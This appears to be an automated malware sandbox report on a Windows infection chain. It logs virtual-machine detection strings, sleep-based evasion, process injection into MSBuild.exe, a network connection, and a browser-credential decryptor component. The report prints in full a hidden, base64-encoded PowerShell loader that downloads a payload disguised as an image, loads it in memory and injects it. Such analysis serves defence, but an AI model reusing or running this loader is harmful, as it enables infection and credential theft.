Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2650000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2800000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 4800000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5803			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4021			Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 6460	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6744	Thread sleep time: -10145709240540247s >= -30000s			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: !vmware virtual s scsi disk device
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware svga
Source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: `2microsoft.win32.taskschedulercalendartriggermicrosoft.win32.taskschedulertaskprincipalprivilegemicrosoft.win32.taskschedulertasksnapshotvirtualmachinedetectordnlib.dotnet.pdbsymbolreadercreatordnlib.dotnet.emitinstructionprinterdnlib.dotnettypeequalitycomparerdnlib.dotnet.mdimagecor20headerdnlib.dotnet.mdirawrowdnlib.dotnet.writermethodbodywritermicrosoft.win32.taskschedulertaskregistrationinfomicrosoft.win32.taskschedulershowmessageactiondnlib.dotnetihasdeclsecuritycomhandlerupdatemicrosoft.win32.taskschedulereventtriggerdnlib.dotnetimanagedentrypointstartup_informationmicrosoft.win32.taskscheduler.fluentmonthlydowtriggerbuildermicrosoft.win32.taskschedulertaskauditrulednlib.dotnet.writerstrongnamesignaturednlib.dotnetitypednlib.dotnetsentinelsigdnlib.dotnet.mdicolumnreaderdnlib.dotnet.writermodulewritereventdnlib.dotnettypenameparserdnlib.dotneticustomattributednlib.dotnet.pdb.dsssymbolwritercreatordnlib.dotnet.resourcesbinaryresourcedatadnlib.dotnet.mdrawtyperefrowdnlib.ioimagestreamcreatorconnectiontokendnlib.pepeextensionsdnlib.dotnet.pdbsequencepointdnlib.dotnetlinkedresourcednlib.dotnettyperefdnlib.dotnetpublickeydnlib.dotnetiassemblyreffinderdnlib.dotnet.mdrawgenericparamconstraintrowdnlib.dotnettypedefdnlib.dotnetrecursioncounterdnlib.dotnet.mdrawassemblyrefosrowdnlib.pecharacteristicsdnlib.w32resourcesresourcedirectorype
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware pointing device<Each value of the array must contain a valid file reference.
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware usb pointing device
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware s
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E893C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware pointing device
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware sata
Source: powershell.exe, 0000000A.00000002.1579534878.000001E8AA250000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.1550336005.000001E8A2B66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VirtualMachineDetector
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmwareArguments
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmtools
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1529745429.000001E893C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmwarexD{
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: .metadata.xml!vmware virtual s scsi disk device
Source: powershell.exe, 0000000A.00000002.1577845542.000001E8A9D3F000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000002.2503617924.0000000000AE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 0000000A.00000002.1587182365.00007FF88AAE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: virtualmachinedetector
Source: powershell.exe, 0000000A.00000002.1529745429.000001E893C32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware vmci bus device

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 23.186.113.60 443

Jump to behavior

Yara detected Powershell decode and execute

Source: Yara match

File source: amsi64_6852.amsi.csv, type: OTHER

Yara detected Powershell download and execute

Source: Yara match

File source: amsi64_6852.amsi.csv, type: OTHER

.NET source code references suspicious native API functions

Source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, UltraSpeed.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 10.2.powershell.exe.1e8a1e165d0.1.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text9 + "\\mozglue.dll"))

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41A000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41C000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 77B008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$fronts = 'JABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAA9ACAAJwAwAC8AUwA0AHgAUQBTAFYAWgB4AC8AZAAvAGUAZQAuAGUAIwBzAGEAcAAvAC8AOgBzAHAAIwAjAGgAJwA7ACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMAIAA9ACAAJABhAGwAYgBpAGYAbABvAHIAbwB1AHMAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGMAbwB6AGkAbgBlAHMAcwAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAbABvAHUAbgBnAGkAbgBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGwAbwB1AG4AZwBpAG4AZwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABNAGMASQBuAHQAaQByAGUAIAA9ACAAJABsAG8AdQBuAGcAaQBuAGcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAYwBvAHoAaQBuAGUAcwBzACkAOwAkAG0AbwBuAG8AdAByAG8AcABpAHMAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAE0AYwBJAG4AdABpAHIAZQApADsAJAByAGUAYwBvAG0AZgBvAHIAdABsAGUAcwBzACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABuAG8AZABvAGkAZAAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAAPQAgACQAbQBvAG4AbwB0AHIAbwBwAGkAcwBtAC4ASQBuAGQAZQB4AE8AZgAoACQAcgBlAGMAbwBtAGYAbwByAHQAbABlAHMAcwApADsAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBJAG4AZABlAHgATwBmACgAJABuAG8AZABvAGkAZAApADsAJAB1AG4AYwByAGUAYQB0AGkAdgBlACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAYgBlAG4AegBvAHQAaABpAGEAegBpAG4AZQBzACAALQBnAHQAIAAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAOwAkAHUAbgBjAHIAZQBhAHQAaQB2AGUAIAArAD0AIAAkAHIAZQBjAG8AbQBmAG8AcgB0AGwAZQBzAHMALgBMAGUAbgBnAHQAaAA7ACQASABhAHQAaABvAHIAIAA9ACAAJABiAGUAbgB6AG8AdABoAGkAYQB6AGkAbgBlAHMAIAAtACAAJAB1AG4AYwByAGUAYQB0AGkAdgBlADsAJAByAGUAdgBvAGwAdQB0AGkAbwBuAGkAegBlAGQAIAA9ACAAJABtAG8AbgBvAHQAcgBvAHAAaQBzAG0ALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAdQBuAGMAcgBlAGEAdABpAHYAZQAsACAAJABIAGEAdABoAG8AcgApADsAJABtAGUAbQBvAHIAYQBiAGwAZQBuAGUAcwBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHIAZQB2AG8AbAB1AHQAaQBvAG4AaQB6AGUAZAApADsAJABjAHUAbAB0AHIAYQB0AGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAbQBlAG0AbwByAGEAYgBsAGUAbgBlAHMAcwApADsAJAByAGUAcwBpAHQAdQBhAHQAZQBzACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAbQB1AGwAdABpAGYAbABvAHIAbwB1AHMALAAnACcALAAnACcALAAnACcALAAnAE0AUwBCAHUAaQBsAGQAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACwAJwBxAHUAZQByAHUAbABvAHUAcwBuAGUAcwBzAGUAcwAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAYwBlAG4AdABpAG0AZQB0AHIAaQBjACcALAAnADIAJwAsACcAJwApACkA' -replace '','';$al			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -nop -w hidden -c "$fronts = 'jabhagwaygbpagyababvahiabwb1ahmaiaa9acaajwawac8auwa0ahgauqbtafyawgb4ac8azaavaguazqauaguaiwbzageacaavac8aogbzahaaiwajaggajwa7acqabqb1agwadabpagyababvahiabwb1ahmaiaa9acaajabhagwaygbpagyababvahiabwb1ahmaiaatahiazqbwagwayqbjaguaiaanacmajwasacaajwb0accaowakagmabwb6agkabgblahmacwagad0aiaanaggadab0ahaacwa6ac8alwbhahiaywboagkadgblac4abwbyagcalwbkag8adwbuagwabwbhagqalwbuaguadwbfagkabqbhagcazqbfadiamaayaduamaa0adeamwavag4azqb3af8aaqbtageazwblac4aagbwagcajwa7acqababvahuabgbnagkabgbnacaapqagae4azqb3ac0atwbiagoazqbjahqaiabtahkacwb0aguabqauae4azqb0ac4avwblagiaqwbsagkazqbuahqaowakagwabwb1ag4azwbpag4azwauaegazqbhagqazqbyahmalgbbagqazaaoaccavqbzaguacgataeeazwblag4adaanacwajwbnag8aegbpagwababhac8anqauadaajwapadsajabnagmasqbuahqaaqbyaguaiaa9acaajabsag8adqbuagcaaqbuagcalgbeag8adwbuagwabwbhagqarabhahqayqaoacqaywbvahoaaqbuaguacwbzackaowakag0abwbuag8adabyag8acabpahmabqagad0aiabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakaakae0aywbjag4adabpahiazqapadsajabyaguaywbvag0azgbvahiadabsaguacwbzacaapqagaccapaa8aeiaqqbtaeuanga0af8auwbuaeeaugbuad4apganadsajabuag8azabvagkazaagad0aiaanadwapabcaeeauwbfadyanabfaeuatgbead4apganadsajab1ag4aywbyaguayqb0agkadgblacaapqagacqabqbvag4abwb0ahiabwbwagkacwbtac4asqbuagqazqb4ae8azgaoacqacgblagmabwbtagyabwbyahqabablahmacwapadsajabiaguabgb6ag8adaboagkayqb6agkabgblahmaiaa9acaajabtag8abgbvahqacgbvahaaaqbzag0algbjag4azablahgatwbmacgajabuag8azabvagkazaapadsajab1ag4aywbyaguayqb0agkadgblacaalqbnaguaiaawacaalqbhag4azaagacqaygblag4aegbvahqaaabpageaegbpag4azqbzacaalqbnahqaiaakahuabgbjahiazqbhahqaaqb2aguaowakahuabgbjahiazqbhahqaaqb2aguaiaarad0aiaakahiazqbjag8abqbmag8acgb0agwazqbzahmalgbmaguabgbnahqaaaa7acqasabhahqaaabvahiaiaa9acaajabiaguabgb6ag8adaboagkayqb6agkabgblahmaiaatacaajab1ag4aywbyaguayqb0agkadgbladsajabyaguadgbvagwadqb0agkabwbuagkaegblagqaiaa9acaajabtag8abgbvahqacgbvahaaaqbzag0algbtahuaygbzahqacgbpag4azwaoacqadqbuagmacgblageadabpahyazqasacaajabiageadaboag8acgapadsajabtaguabqbvahiayqbiagwazqbuaguacwbzacaapqagafsauwb5ahmadablag0algbdag8a